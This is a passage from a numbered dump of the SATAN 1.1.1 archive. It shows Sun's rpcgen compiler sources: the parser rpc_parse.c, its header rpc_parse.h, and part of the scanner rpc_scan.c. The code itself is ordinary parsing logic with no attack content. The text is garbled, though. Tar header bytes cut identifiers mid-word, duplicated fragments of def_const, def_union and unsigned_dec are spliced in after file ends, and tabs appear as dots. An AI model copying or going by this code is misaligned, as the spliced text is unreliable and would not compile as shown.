  19372. static
  19373. h_output(infile, define, extend, outfile)
  19374. .char *infile;
  19375. .char *define;
  19376. .int extend;
  19377. .char *outfile;
  19378. {
  19379. .definition *def;
  19380. .char *outfilename;
  19381. .long tell;
  19382.  
  19383. .open_input(infile, define);
  19384. .outfilename =  extend ? extendfile(infile, outfile) : outfile;
  19385. .open_output(infile, outfilensatan-1.1.1/src/rpcgen/rpc_parse.c..................................................................   600 .   465 .   506 .      22043  5741525610  12106. ........................................................................
  19386. .................................................................................................................................................................................................................................................................
  19387. .........................../* @(#)rpc_parse.c.2.1 88/08/01 4.0 RPCSRC */
  19388. /*
  19389.  * Sun RPC is a product of Sun Microsystems, Inc. and is provided for
  19390.  * unrestricted use provided that this legend is included on all tape
  19391.  * media and as a part of the software program in whole or part.  Users
  19392.  * may copy or modify Sun RPC without charge, but are not authorized
  19393.  * to license or distribute it to anyone else except as part of a product or
  19394.  * program developed by the user.
  19395.  * 
  19396.  * SUN RPC IS PROVIDED AS IS WITH NO WARRANTIES OF ANY KIND INCLUDING THE
  19397.  * WARRANTIES OF DESIGN, MERCHANTIBILITY AND FITNESS FOR A PARTICULAR
  19398.  * PURPOSE, OR ARISING FROM A COURSE OF DEALING, USAGE OR TRADE PRACTICE.
  19399.  * 
  19400.  * Sun RPC is provided with no support and without any obligation on the
  19401.  * part of Sun Microsystems, Inc. to assist in its use, correction,
  19402.  * modification or enhancement.
  19403.  * 
  19404.  * SUN MICROSYSTEMS, INC. SHALL HAVE NO LIABILITY WITH RESPECT TO THE
  19405.  * INFRINGEMENT OF COPYRIGHTS, TRADE SECRETS OR ANY PATENTS BY SUN RPC
  19406.  * OR ANY PART THEREOF.
  19407.  * 
  19408.  * In no event will Sun Microsystems, Inc. be liable for any lost revenue
  19409.  * or profits or other special, indirect and consequential damages, even if
  19410.  * Sun has been advised of the possibility of such damages.
  19411.  * 
  19412.  * Sun Microsystems, Inc.
  19413.  * 2550 Garcia Avenue
  19414.  * Mountain View, California  94043
  19415.  */
  19416. #ifndef lint
  19417. static char sccsid[] = "@(#)rpc_parse.c 1.4 87/04/28 (C) 1987 SMI";
  19418. #endif
  19419.  
  19420. /*
  19421.  * rpc_parse.c, Parser for the RPC protocol compiler 
  19422.  * Copyright (C) 1987 Sun Microsystems, Inc.
  19423.  */
  19424. #include <stdlib.h>
  19425. #include <unistd.h>
  19426. #include <stdio.h>
  19427. #include "rpc_util.h"
  19428. #include "rpc_scan.h"
  19429. #include "rpc_parse.h"
  19430.  
  19431. static isdefined();
  19432. static def_struct();
  19433. static def_program();
  19434. static def_enum();
  19435. static def_const();
  19436. static def_union();
  19437. static def_typedef();
  19438. static get_declaration();
  19439. static get_type();
  19440. static unsigned_dec();
  19441.  
  19442. /*
  19443.  * return the next definition you see
  19444.  */
  19445. definition *
  19446. get_definition()
  19447. {
  19448. .definition *defp;
  19449. .token tok;
  19450.  
  19451. .defp = ALLOC(definition);
  19452. .get_token(&tok);
  19453. .switch (tok.kind) {
  19454. .case TOK_STRUCT:
  19455. ..def_struct(defp);
  19456. ..break;
  19457. .case TOK_UNION:
  19458. ..def_union(defp);
  19459. ..break;
  19460. .case TOK_TYPEDEF:
  19461. ..def_typedef(defp);
  19462. ..break;
  19463. .case TOK_ENUM:
  19464. ..def_enum(defp);
  19465. ..break;
  19466. .case TOK_PROGRAM:
  19467. ..def_program(defp);
  19468. ..break;
  19469. .case TOK_CONST:
  19470. ..def_const(defp);
  19471. ..break;
  19472. .case TOK_EOF:
  19473. ..return (NULL);
  19474. ..break;
  19475. .default:
  19476. ..error("definition keyword expected");
  19477. .}
  19478. .scan(TOK_SEMICOLON, &tok);
  19479. .isdefined(defp);
  19480. .return (defp);
  19481. }
  19482.  
  19483. static
  19484. isdefined(defp)
  19485. .definition *defp;
  19486. {
  19487. .STOREVAL(&defined, defp);
  19488. }
  19489.  
  19490.  
  19491. static
  19492. def_struct(defp)
  19493. .definition *defp;
  19494. {
  19495. .token tok;
  19496. .declaration dec;
  19497. .decl_list *decls;
  19498. .decl_list **tailp;
  19499.  
  19500. .defp->def_kind = DEF_STRUCT;
  19501.  
  19502. .scan(TOK_IDENT, &tok);
  19503. .defp->def_name = tok.str;
  19504. .scan(TOK_LBRACE, &tok);
  19505. .tailp = &defp->def.st.decls;
  19506. .do {
  19507. ..get_declaration(&dec, DEF_STRUCT);
  19508. ..decls = ALLOC(decl_list);
  19509. ..decls->decl = dec;
  19510. ..*tailp = decls;
  19511. ..tailp = &decls->next;
  19512. ..scan(TOK_SEMICOLON, &tok);
  19513. ..peek(&tok);
  19514. .} while (tok.kind != TOK_RBRACE);
  19515. .get_token(&tok);
  19516. .*tailp = NULL;
  19517. }
  19518.  
  19519. static
  19520. def_program(defp)
  19521. .definition *defp;
  19522. {
  19523. .token tok;
  19524. .version_list *vlist;
  19525. .version_list **vtailp;
  19526. .proc_list *plist;
  19527. .proc_list **ptailp;
  19528.  
  19529. .defp->def_kind = DEF_PROGRAM;
  19530. .scan(TOK_IDENT, &tok);
  19531. .defp->def_name = tok.str;
  19532. .scan(TOK_LBRACE, &tok);
  19533. .vtailp = &defp->def.pr.versions;
  19534. .scan(TOK_VERSION, &tok);
  19535. .do {
  19536. ..scan(TOK_IDENT, &tok);
  19537. ..vlist = ALLOC(version_list);
  19538. ..vlist->vers_name = tok.str;
  19539. ..scan(TOK_LBRACE, &tok);
  19540. ..ptailp = &vlist->procs;
  19541. ..do {
  19542. ...plist = ALLOC(proc_list);
  19543. ...get_type(&plist->res_prefix, &plist->res_type, DEF_PROGRAM);
  19544. ...if (streq(plist->res_type, "opaque")) {
  19545. ....error("illegal result type");
  19546. ...}
  19547. ...scan(TOK_IDENT, &tok);
  19548. ...plist->proc_name = tok.str;
  19549. ...scan(TOK_LPAREN, &tok);
  19550. ...get_type(&plist->arg_prefix, &plist->arg_type, DEF_PROGRAM);
  19551. ...if (streq(plist->arg_type, "opaque")) {
  19552. ....error("illegal argument type");
  19553. ...}
  19554. ...scan(TOK_RPAREN, &tok);
  19555. ...scan(TOK_EQUAL, &tok);
  19556. ...scan_num(&tok);
  19557. ...scan(TOK_SEMICOLON, &tok);
  19558. ...plist->proc_num = tok.str;
  19559. ...*ptailp = plist;
  19560. ...ptailp = &plist->next;
  19561. ...peek(&tok);
  19562. ..} while (tok.kind != TOK_RBRACE);
  19563. ..*vtailp = vlist;
  19564. ..vtailp = &vlist->next;
  19565. ..scan(TOK_RBRACE, &tok);
  19566. ..scan(TOK_EQUAL, &tok);
  19567. ..scan_num(&tok);
  19568. ..vlist->vers_num = tok.str;
  19569. ..scan(TOK_SEMICOLON, &tok);
  19570. ..scan2(TOK_VERSION, TOK_RBRACE, &tok);
  19571. .} while (tok.kind == TOK_VERSION);
  19572. .scan(TOK_EQUAL, &tok);
  19573. .scan_num(&tok);
  19574. .defp->def.pr.prog_num = tok.str;
  19575. .*vtailp = NULL;
  19576. }
  19577.  
  19578. static
  19579. def_enum(defp)
  19580. .definition *defp;
  19581. {
  19582. .token tok;
  19583. .enumval_list *elist;
  19584. .enumval_list **tailp;
  19585.  
  19586. .defp->def_kind = DEF_ENUM;
  19587. .scan(TOK_IDENT, &tok);
  19588. .defp->def_name = tok.str;
  19589. .scan(TOK_LBRACE, &tok);
  19590. .tailp = &defp->def.en.vals;
  19591. .do {
  19592. ..scan(TOK_IDENT, &tok);
  19593. ..elist = ALLOC(enumval_list);
  19594. ..elist->name = tok.str;
  19595. ..elist->assignment = NULL;
  19596. ..scan3(TOK_COMMA, TOK_RBRACE, TOK_EQUAL, &tok);
  19597. ..if (tok.kind == TOK_EQUAL) {
  19598. ...scan_num(&tok);
  19599. ...elist->assignment = tok.str;
  19600. ...scan2(TOK_COMMA, TOK_RBRACE, &tok);
  19601. ..}
  19602. ..*tailp = elist;
  19603. ..tailp = &elist->next;
  19604. .} while (tok.kind != TOK_RBRACE);
  19605. .*tailp = NULL;
  19606. }
  19607.  
  19608. static
  19609. def_const(defp)
  19610. .definition *defp;
  19611. {
  19612. .token tok;
  19613.  
  19614. .defp->def_kind = DEF_CONST;
  19615. .scan(TOK_IDENT, &tok);
  19616. .defp->def_name = tok.str;
  19617. .scan(TOK_EQUAL, &tok);
  19618. .scan2(TOK_IDENT, TOK_STRCONST, &tok);
  19619. .defp->def.co = tok.str;
  19620. }
  19621.  
  19622. static
  19623. def_union(defp)
  19624. .definition *defp;
  19625. {
  19626. .token tok;
  19627. .declaration dec;
  19628. .case_list *cases;
  19629. .case_list **tailp;
  19630.  
  19631. .defp->def_kind = DEF_UNION;
  19632. .scan(TOK_IDENT, &tok);
  19633. .defp->def_name = tok.str;
  19634. .scan(TOK_SWITCH, &tok);
  19635. .scan(TOK_LPAREN, &tok);
  19636. .get_declaration(&dec, DEF_UNION);
  19637. .defp->def.un.enum_decl = dec;
  19638. .tailp = &defp->def.un.cases;
  19639. .scan(TOK_RPAREN, &tok);
  19640. .scan(TOK_LBRACE, &tok);
  19641. .scan(TOK_CASE, &tok);
  19642. .while (tok.kind == TOK_CASE) {
  19643. ..scan(TOK_IDENT, &tok);
  19644. ..cases = ALLOC(case_list);
  19645. ..cases->case_name = tok.str;
  19646. ..scan(TOK_COLON, &tok);
  19647. ..get_declaration(&dec, DEF_UNION);
  19648. ..cases->case_decl = dec;
  19649. ..*tailp = cases;
  19650. ..tailp = &cases->next;
  19651. ..scan(TOK_SEMICOLON, &tok);
  19652. ..scan3(TOK_CASE, TOK_DEFAULT, TOK_RBRACE, &tok);
  19653. .}
  19654. .*tailp = NULL;
  19655. .if (tok.kind == TOK_DEFAULT) {
  19656. ..scan(TOK_COLON, &tok);
  19657. ..get_declaration(&dec, DEF_UNION);
  19658. ..defp->def.un.default_decl = ALLOC(declaration);
  19659. ..*defp->def.un.default_decl = dec;
  19660. ..scan(TOK_SEMICOLON, &tok);
  19661. ..scan(TOK_RBRACE, &tok);
  19662. .} else {
  19663. ..defp->def.un.default_decl = NULL;
  19664. .}
  19665. }
  19666.  
  19667.  
  19668. static
  19669. def_typedef(defp)
  19670. .definition *defp;
  19671. {
  19672. .declaration dec;
  19673.  
  19674. .defp->def_kind = DEF_TYPEDEF;
  19675. .get_declaration(&dec, DEF_TYPEDEF);
  19676. .defp->def_name = dec.name;
  19677. .defp->def.ty.old_prefix = dec.prefix;
  19678. .defp->def.ty.old_type = dec.type;
  19679. .defp->def.ty.rel = dec.rel;
  19680. .defp->def.ty.array_max = dec.array_max;
  19681. }
  19682.  
  19683.  
  19684. static
  19685. get_declaration(dec, dkind)
  19686. .declaration *dec;
  19687. .defkind dkind;
  19688. {
  19689. .token tok;
  19690.  
  19691. .get_type(&dec->prefix, &dec->type, dkind);
  19692. .dec->rel = REL_ALIAS;
  19693. .if (streq(dec->type, "void")) {
  19694. ..return;
  19695. .}
  19696. .scan2(TOK_STAR, TOK_IDENT, &tok);
  19697. .if (tok.kind == TOK_STAR) {
  19698. ..dec->rel = REL_POINTER;
  19699. ..scan(TOK_IDENT, &tok);
  19700. .}
  19701. .dec->name = tok.str;
  19702. .if (peekscan(TOK_LBRACKET, &tok)) {
  19703. ..if (dec->rel == REL_POINTER) {
  19704. ...error("no array-of-pointer declarations -- use typedef");
  19705. ..}
  19706. ..dec->rel = REL_VECTOR;
  19707. ..scan_num(&tok);
  19708. ..dec->array_max = tok.str;
  19709. ..scan(TOK_RBRACKET, &tok);
  19710. .} else if (peekscan(TOK_LANGLE, &tok)) {
  19711. ..if (dec->rel == REL_POINTER) {
  19712. ...error("no array-of-pointer declarations -- use typedef");
  19713. ..}
  19714. ..dec->rel = REL_ARRAY;
  19715. ..if (peekscan(TOK_RANGLE, &tok)) {
  19716. ...dec->array_max = "~0";./* unspecified size, use max */
  19717. ..} else {
  19718. ...scan_num(&tok);
  19719. ...dec->array_max = tok.str;
  19720. ...scan(TOK_RANGLE, &tok);
  19721. ..}
  19722. .}
  19723. .if (streq(dec->type, "opaque")) {
  19724. ..if (dec->rel != REL_ARRAY && dec->rel != REL_VECTOR) {
  19725. ...error("array declaration expected");
  19726. ..}
  19727. .} else if (streq(dec->type, "string")) {
  19728. ..if (dec->rel != REL_ARRAY) {
  19729. ...error("variable-length array declaration expected");
  19730. ..}
  19731. .}
  19732. }
  19733.  
  19734.  
  19735. static
  19736. get_type(prefixp, typep, dkind)
  19737. .char **prefixp;
  19738. .char **typep;
  19739. .defkind dkind;
  19740. {
  19741. .token tok;
  19742.  
  19743. .*prefixp = NULL;
  19744. .get_token(&tok);
  19745. .switch (tok.kind) {
  19746. .case TOK_IDENT:
  19747. ..*typep = tok.str;
  19748. ..break;
  19749. .case TOK_STRUCT:
  19750. .case TOK_ENUM:
  19751. .case TOK_UNION:
  19752. ..*prefixp = tok.str;
  19753. ..scan(TOK_IDENT, &tok);
  19754. ..*typep = tok.str;
  19755. ..break;
  19756. .case TOK_UNSIGNED:
  19757. ..unsigned_dec(typep);
  19758. ..break;
  19759. .case TOK_SHORT:
  19760. ..*typep = "short";
  19761. ..(void) peekscan(TOK_INT, &tok);
  19762. ..break;
  19763. .case TOK_LONG:
  19764. ..*typep = "long";
  19765. ..(void) peekscan(TOK_INT, &tok);
  19766. ..break;
  19767. .case TOK_VOID:
  19768. ..if (dkind != DEF_UNION && dkind != DEF_PROGRAM) {
  19769. ...error("voids allowed only inside union and program definitions");
  19770. ..}
  19771. ..*typep = tok.str;
  19772. ..break;
  19773. .case TOK_STRING:
  19774. .case TOK_OPAQUE:
  19775. .case TOK_CHAR:
  19776. .case TOK_INT:
  19777. .case TOK_FLOAT:
  19778. .case TOK_DOUBLE:
  19779. .case TOK_BOOL:
  19780. ..*typep = tok.str;
  19781. ..break;
  19782. .default:
  19783. ..error("expected type specifier");
  19784. .}
  19785. }
  19786.  
  19787.  
  19788. static
  19789. unsigned_dec(typep)
  19790. .char **typep;
  19791. {
  19792. .token tok;
  19793.  
  19794. .peek(&tok);
  19795. .switch (tok.kind) {
  19796. .case TOK_CHAR:
  19797. ..get_token(&tok);
  19798. ..*typep = "u_char";
  19799. ..break;
  19800. .case TOK_SHORT:
  19801. ..get_token(&tok);
  19802. ..*typep = "u_short";
  19803. ..(void) peekscan(TOK_INT, &tok);
  19804. ..break;
  19805. .case TOK_LONG:
  19806. ..get_token(&tok);
  19807. ..*typep = "u_long";
  19808. ..(void) peekscan(TOK_INT, &tok);
  19809. ..break;
  19810. .case TOK_INT:
  19811. ..get_token(&tok);
  19812. ..*typep = "u_int";
  19813. ..break;
  19814. .default:
  19815. ..*typep = "u_int";
  19816. ..break;
  19817. .}
  19818. }
  19819. .defp->def_kind = DEF_CONST;
  19820. .scan(TOK_IDENT, &tok);
  19821. .defp->def_name = tok.str;
  19822. .scan(TOK_EQUAL, &tok);
  19823. .scan2(TOK_IDENT, TOK_STRCONST, &tok);
  19824. .defp->def.co = tok.str;
  19825. }
  19826.  
  19827. static
  19828. def_union(defp)
  19829. .definition *defp;
  19830. {
  19831. .token tok;
  19832. .declaration dec;
  19833. .case_list *cases;
  19834. .case_list **tailp;
  19835.  
  19836. .defp->def_kind = DEF_UNION;
  19837. .scan(TOK_IDENT, &tok);
  19838. .defp->def_name = tok.str;
  19839. .scan(TOK_SWITCH, &tok);
  19840. .scan(TOK_LPAREN, &tok);
  19841. .get_declaration(&dec, DEF_UNION);
  19842. .defp->def.un.enum_decl = dsatan-1.1.1/src/rpcgen/rpc_parse.h..................................................................   400 .   465 .   506 .       6533  4456447224  12105. ..........................................................................
  19843. .................................................................................................................................................................................................................................................................
  19844. ........................./*
  19845.  * Sun RPC is a product of Sun Microsystems, Inc. and is provided for
  19846.  * unrestricted use provided that this legend is included on all tape
  19847.  * media and as a part of the software program in whole or part.  Users
  19848.  * may copy or modify Sun RPC without charge, but are not authorized
  19849.  * to license or distribute it to anyone else except as part of a product or
  19850.  * program developed by the user.
  19851.  * 
  19852.  * SUN RPC IS PROVIDED AS IS WITH NO WARRANTIES OF ANY KIND INCLUDING THE
  19853.  * WARRANTIES OF DESIGN, MERCHANTIBILITY AND FITNESS FOR A PARTICULAR
  19854.  * PURPOSE, OR ARISING FROM A COURSE OF DEALING, USAGE OR TRADE PRACTICE.
  19855.  * 
  19856.  * Sun RPC is provided with no support and without any obligation on the
  19857.  * part of Sun Microsystems, Inc. to assist in its use, correction,
  19858.  * modification or enhancement.
  19859.  * 
  19860.  * SUN MICROSYSTEMS, INC. SHALL HAVE NO LIABILITY WITH RESPECT TO THE
  19861.  * INFRINGEMENT OF COPYRIGHTS, TRADE SECRETS OR ANY PATENTS BY SUN RPC
  19862.  * OR ANY PART THEREOF.
  19863.  * 
  19864.  * In no event will Sun Microsystems, Inc. be liable for any lost revenue
  19865.  * or profits or other special, indirect and consequential damages, even if
  19866.  * Sun has been advised of the possibility of such damages.
  19867.  * 
  19868.  * Sun Microsystems, Inc.
  19869.  * 2550 Garcia Avenue
  19870.  * Mountain View, California  94043
  19871.  */
  19872. /* @(#)rpc_parse.h 1.3 87/03/09 (C) 1987 SMI */
  19873.  
  19874. /*
  19875.  * rpc_parse.h, Definitions for the RPCL parser 
  19876.  * Copyright (C) 1987, Sun Microsystems, Inc. 
  19877.  */
  19878.  
  19879. enum defkind {
  19880. .DEF_CONST,
  19881. .DEF_STRUCT,
  19882. .DEF_UNION,
  19883. .DEF_ENUM,
  19884. .DEF_TYPEDEF,
  19885. .DEF_PROGRAM
  19886. };
  19887. typedef enum defkind defkind;
  19888.  
  19889. typedef char *const_def;
  19890.  
  19891. enum relation {
  19892. .REL_VECTOR,./* fixed length array */
  19893. .REL_ARRAY,./* variable length array */
  19894. .REL_POINTER,./* pointer */
  19895. .REL_ALIAS,./* simple */
  19896. };
  19897. typedef enum relation relation;
  19898.  
  19899. struct typedef_def {
  19900. .char *old_prefix;
  19901. .char *old_type;
  19902. .relation rel;
  19903. .char *array_max;
  19904. };
  19905. typedef struct typedef_def typedef_def;
  19906.  
  19907.  
  19908. struct enumval_list {
  19909. .char *name;
  19910. .char *assignment;
  19911. .struct enumval_list *next;
  19912. };
  19913. typedef struct enumval_list enumval_list;
  19914.  
  19915. struct enum_def {
  19916. .enumval_list *vals;
  19917. };
  19918. typedef struct enum_def enum_def;
  19919.  
  19920.  
  19921. struct declaration {
  19922. .char *prefix;
  19923. .char *type;
  19924. .char *name;
  19925. .relation rel;
  19926. .char *array_max;
  19927. };
  19928. typedef struct declaration declaration;
  19929.  
  19930.  
  19931. struct decl_list {
  19932. .declaration decl;
  19933. .struct decl_list *next;
  19934. };
  19935. typedef struct decl_list decl_list;
  19936.  
  19937. struct struct_def {
  19938. .decl_list *decls;
  19939. };
  19940. typedef struct struct_def struct_def;
  19941.  
  19942.  
  19943. struct case_list {
  19944. .char *case_name;
  19945. .declaration case_decl;
  19946. .struct case_list *next;
  19947. };
  19948. typedef struct case_list case_list;
  19949.  
  19950. struct union_def {
  19951. .declaration enum_decl;
  19952. .case_list *cases;
  19953. .declaration *default_decl;
  19954. };
  19955. typedef struct union_def union_def;
  19956.  
  19957.  
  19958.  
  19959. struct proc_list {
  19960. .char *proc_name;
  19961. .char *proc_num;
  19962. .char *arg_type;
  19963. .char *arg_prefix;
  19964. .char *res_type;
  19965. .char *res_prefix;
  19966. .struct proc_list *next;
  19967. };
  19968. typedef struct proc_list proc_list;
  19969.  
  19970.  
  19971. struct version_list {
  19972. .char *vers_name;
  19973. .char *vers_num;
  19974. .proc_list *procs;
  19975. .struct version_list *next;
  19976. };
  19977. typedef struct version_list version_list;
  19978.  
  19979. struct program_def {
  19980. .char *prog_num;
  19981. .version_list *versions;
  19982. };
  19983. typedef struct program_def program_def;
  19984.  
  19985. struct definition {
  19986. .char *def_name;
  19987. .defkind def_kind;
  19988. .union {
  19989. ..const_def co;
  19990. ..struct_def st;
  19991. ..union_def un;
  19992. ..enum_def en;
  19993. ..typedef_def ty;
  19994. ..program_def pr;
  19995. .} def;
  19996. };
  19997. typedef struct definition definition;
  19998.  
  19999. /* @(#)rpc_parse.h.2.1 88/08/01 4.0 RPCSRC */
  20000. definition *get_definition();
  20001. TOK_LONG:
  20002. ..get_token(&tok);
  20003. ..*typep = "u_long";
  20004. ..(void) peekscan(TOK_INT, &tok);
  20005. ..break;
  20006. .case TOK_INT:
  20007. ..get_token(&tok);
  20008. ..*typep = "u_int";
  20009. ..break;
  20010. .default:satan-1.1.1/src/rpcgen/rpc_scan.c...................................................................   600 .   465 .   506 .      20372  5741525616  11731. ............................................................................................
  20011. .................................................................................................................................................................................................................................................................
  20012. ......./* @(#)rpc_scan.c.2.1 88/08/01 4.0 RPCSRC */
  20013. /*
  20014.  * Sun RPC is a product of Sun Microsystems, Inc. and is provided for
  20015.  * unrestricted use provided that this legend is included on all tape
  20016.  * media and as a part of the software program in whole or part.  Users
  20017.  * may copy or modify Sun RPC without charge, but are not authorized
  20018.  * to license or distribute it to anyone else except as part of a product or
  20019.  * program developed by the user.
  20020.  * 
  20021.  * SUN RPC IS PROVIDED AS IS WITH NO WARRANTIES OF ANY KIND INCLUDING THE
  20022.  * WARRANTIES OF DESIGN, MERCHANTIBILITY AND FITNESS FOR A PARTICULAR
  20023.  * PURPOSE, OR ARISING FROM A COURSE OF DEALING, USAGE OR TRADE PRACTICE.
  20024.  * 
  20025.  * Sun RPC is provided with no support and without any obligation on the
  20026.  * part of Sun Microsystems, Inc. to assist in its use, correction,
  20027.  * modification or enhancement.
  20028.  * 
  20029.  * SUN MICROSYSTEMS, INC. SHALL HAVE NO LIABILITY WITH RESPECT TO THE
  20030.  * INFRINGEMENT OF COPYRIGHTS, TRADE SECRETS OR ANY PATENTS BY SUN RPC
  20031.  * OR ANY PART THEREOF.
  20032.  * 
  20033.  * In no event will Sun Microsystems, Inc. be liable for any lost revenue
  20034.  * or profits or other special, indirect and consequential damages, even if
  20035.  * Sun has been advised of the possibility of such damages.
  20036.  * 
  20037.  * Sun Microsystems, Inc.
  20038.  * 2550 Garcia Avenue
  20039.  * Mountain View, California  94043
  20040.  */
  20041. #ifndef lint
  20042. static char sccsid[] = "@(#)rpc_scan.c 1.6 87/06/24 (C) 1987 SMI";
  20043. #endif
  20044.  
  20045. /*
  20046.  * rpc_scan.c, Scanner for the RPC protocol compiler 
  20047.  * Copyright (C) 1987, Sun Microsystems, Inc. 
  20048.  */
  20049. #include <stdio.h>
  20050. #include <ctype.h>
  20051. #include <stdlib.h>
  20052. #include <unistd.h>
  20053. #include <string.h>
  20054. #include "rpc_scan.h"
  20055. #include "rpc_util.h"
  20056.  
  20057. #define startcomment(where) (where[0] == '/' && where[1] == '*')
  20058. #define endcomment(where) (where[-1] == '*' && where[0] == '/')
  20059.  
  20060. static int pushed = 0;./* is a token pushed */
  20061. static token lasttok;./* last token, if pushed */
  20062.  
  20063. static unget_token();
  20064. static findstrconst();
  20065. static findconst();
  20066. static findkind();
  20067. static cppline();
  20068. static directive();
  20069. static printdirective();
  20070. static docppline();
  20071.  
  20072. /*
  20073.  * scan expecting 1 given token 
  20074.  */
  20075. void
  20076. scan(expect, tokp)
  20077. .tok_kind expect;
  20078. .token *tokp;
  20079. {
  20080. .get_token(tokp);
  20081. .if (tokp->kind != expect) {
  20082. ..expected1(expect);
  20083. .}
  20084. }
  20085.  
  20086. /*
  20087.  * scan expecting 2 given tokens 
  20088.  */
  20089. void
  20090. scan2(expect1, expect2, tokp)
  20091. .tok_kind expect1;
  20092. .tok_kind expect2;
  20093. .token *tokp;
  20094. {
  20095. .get_token(tokp);
  20096. .if (tokp->kind != expect1 && tokp->kind != expect2) {
  20097. ..expected2(expect1, expect2);
  20098. .}
  20099. }
  20100.  
  20101. /*
  20102.  * scan expecting 3 given token 
  20103.  */
  20104. void
  20105. scan3(expect1, expect2, expect3, tokp)
  20106. .tok_kind expect1;
  20107. .tok_kind expect2;
  20108. .tok_kind expect3;
  20109. .token *tokp;
  20110. {
  20111. .get_token(tokp);
  20112. .if (tokp->kind != expect1 && tokp->kind != expect2
  20113. .    && tokp->kind != expect3) {
  20114. ..expected3(expect1, expect2, expect3);
  20115. .}
  20116. }
  20117.  
  20118.  
  20119. /*
  20120.  * scan expecting a constant, possibly symbolic 
  20121.  */
  20122. void
  20123. scan_num(tokp)
  20124. .token *tokp;
  20125. {
  20126. .get_token(tokp);
  20127. .switch (tokp->kind) {
  20128. .case TOK_IDENT:
  20129. ..break;
  20130. .default:
  20131. ..error("constant or identifier expected");
  20132. .}
  20133. }
  20134.  
  20135.  
  20136. /*
  20137.  * Peek at the next token 
  20138.  */
  20139. void
  20140. peek(tokp)
  20141. .token *tokp;
  20142. {
  20143. .get_token(tokp);
  20144. .unget_token(tokp);
  20145. }
  20146.  
  20147.  
  20148. /*
  20149.  * Peek at the next token and scan it if it matches what you expect 
  20150.  */
  20151. int
  20152. peekscan(expect, tokp)
  20153. .tok_kind expect;
  20154. .token *tokp;
  20155. {
  20156. .peek(tokp);
  20157. .if (tokp->kind == expect) {
  20158. ..get_token(tokp);
  20159. ..return (1);
  20160. .}
  20161. .return (0);
  20162. }
  20163.  
  20164.  
  20165.  
  20166. /*
  20167.  * Get the next token, printing out any directive that are encountered. 
  20168.  */
  20169. void
  20170. get_token(tokp)
  20171. .token *tokp;
  20172. {
  20173. .int commenting;
  20174.  
  20175. .if (pushed) {
  20176. ..pushed = 0;
  20177. ..*tokp = lasttok;
  20178. ..return;
  20179. .}
  20180. .commenting = 0;
  20181. .for (;;) {
  20182. ..if (*where == 0) {
  20183. ...for (;;) {
  20184. ....if (!fgets(curline, MAXLINESIZE, fin)) {
  20185. .....tokp->kind = TOK_EOF;
  20186. .....*where = 0;
  20187. .....return;
  20188. ....}
  20189. ....linenum++;
  20190. ....if (commenting) {
  20191. .....break;
  20192. ....} else if (cppline(curline)) {
  20193. .....docppline(curline, &linenum, 
  20194. ......  &infilename);
  20195. ....} else if (directive(curline)) {
  20196. .....printdirective(curline);
  20197. ....} else {
  20198. .....break;
  20199. ....}
  20200. ...}
  20201. ...where = curline;
  20202. ..} else if (isspace(*where)) {
  20203. ...while (isspace(*where)) {
  20204. ....where++;./* eat */
  20205. ...}
  20206. ..} else if (commenting) {
  20207. ...where++;
  20208. ...if (endcomment(where)) {
  20209. ....where++;
  20210. ....commenting--;
  20211. ...}
  20212. ..} else if (startcomment(where)) {
  20213. ...where += 2;
  20214. ...commenting++;
  20215. ..} else {
  20216. ...break;
  20217. ..}
  20218. .}
  20219.  
  20220. ./*
  20221. . * 'where' is not whitespace, comment or directive Must be a token! 
  20222. . */
  20223. .switch (*where) {
  20224. .case ':':
  20225. ..tokp->kind = TOK_COLON;
  20226. ..where++;
  20227. ..break;
  20228. .case ';':
  20229. ..tokp->kind = TOK_SEMICOLON;
  20230. ..where++;
  20231. ..break;
  20232. .case ',':
  20233. ..tokp->kind = TOK_COMMA;
  20234. ..where++;
  20235. ..break;
  20236. .case '=':
  20237. ..tokp->kind = TOK_EQUAL;
  20238. ..where++;
  20239. ..break;
  20240. .case '*':
  20241. ..tokp->kind = TOK_STAR;
  20242. ..where++;
  20243. ..break;
  20244. .case '[':
  20245. ..tokp->kind = TOK_LBRACKET;
  20246. ..where++;
  20247. ..break;
  20248. .case ']':
  20249. ..tokp->kind = TOK_RBRACKET;
  20250. ..where++;
  20251. ..break;
  20252. .case '{':
  20253. ..tokp->kind = TOK_LBRACE;
  20254. ..where++;
  20255. ..break;
  20256. .case '}':
  20257. ..tokp->kind = TOK_RBRACE;
  20258. ..where++;
  20259. ..break;
  20260. .case '(':
  20261. ..tokp->kind = TOK_LPAREN;
  20262. ..where++;
  20263. ..break;
  20264. .case ')':
  20265. ..tokp->kind = TOK_RPAREN;
  20266. ..where++;
  20267. ..break;
  20268. .case '<':
  20269. ..tokp->kind = TOK_LANGLE;
  20270. ..where++;
  20271. ..break;
  20272. .case '>':
  20273. ..tokp->kind = TOK_RANGLE;
  20274. ..where++;
  20275. ..break;
  20276.  
  20277. .case '"':
  20278. ..tokp->kind = TOK_STRCONST;
  20279. ..findstrconst(&where, &tokp->str);
  20280. ..break;
  20281.  
  20282. .case '-':
  20283. .case '0':
  20284. .case '1':
  20285. .case '2':
  20286. .case '3':
  20287. .case '4':
  20288. .case '5':
  20289. .case '6':
  20290. .case '7':
  20291. .case '8':
  20292. .case '9':
  20293. ..tokp->kind = TOK_IDENT;
  20294. ..findconst(&where, &tokp->str);
  20295. ..break;
  20296.  
  20297.  
  20298. .default:
  20299. ..if (!(isalpha(*where) || *where == '_')) {
  20300. ...char buf[100];
  20301. ...char *p;
  20302.  
  20303. ...s_print(buf, "illegal character in file: ");
  20304. ...p = buf + strlen(buf);
  20305. ...if (isprint(*where)) {
  20306. ....s_print(p, "%c", *where);
  20307. ...} else {
  20308. ....s_print(p, "%d", *where);
  20309. ...}
  20310. ...error(buf);
  20311. ..}
  20312. ..findkind(&where, tokp);
  20313. ..break;
  20314. .}
  20315. }
  20316.  
  20317.  
  20318.  
  20319. static
  20320. unget_token(tokp)
  20321. .token *tokp;
  20322. {
  20323. .lasttok = *tokp;
  20324. .pushed = 1;
  20325. }
  20326.  
  20327.  
  20328. static
  20329. findstrconst(str, val)
  20330. .char **str;
  20331. .char **val;
  20332. {
  20333. .char *p;
  20334. .int size;
  20335.  
  20336. .p = *str;
  20337. .do {
  20338. ..*p++;
  20339. .} while (*p && *p != '"');
  20340. .if (*p == 0) {
  20341. ..error("unterminated string constant");
  20342. .}
  20343. .p++;
  20344. .size = p - *str;
  20345. .*val = alloc(size + 1);
  20346. .(void) strncpy(*val, *str, size);
  20347. .(*val)[size] = 0;
  20348. .*str = p;
  20349. }
  20350.  
  20351. static
  20352. findconst(str, val)
  20353. .char **str;
  20354. .char **val;
  20355. {
  20356. .char *p;
  20357. .int size;
  20358.  
  20359. .p = *str;
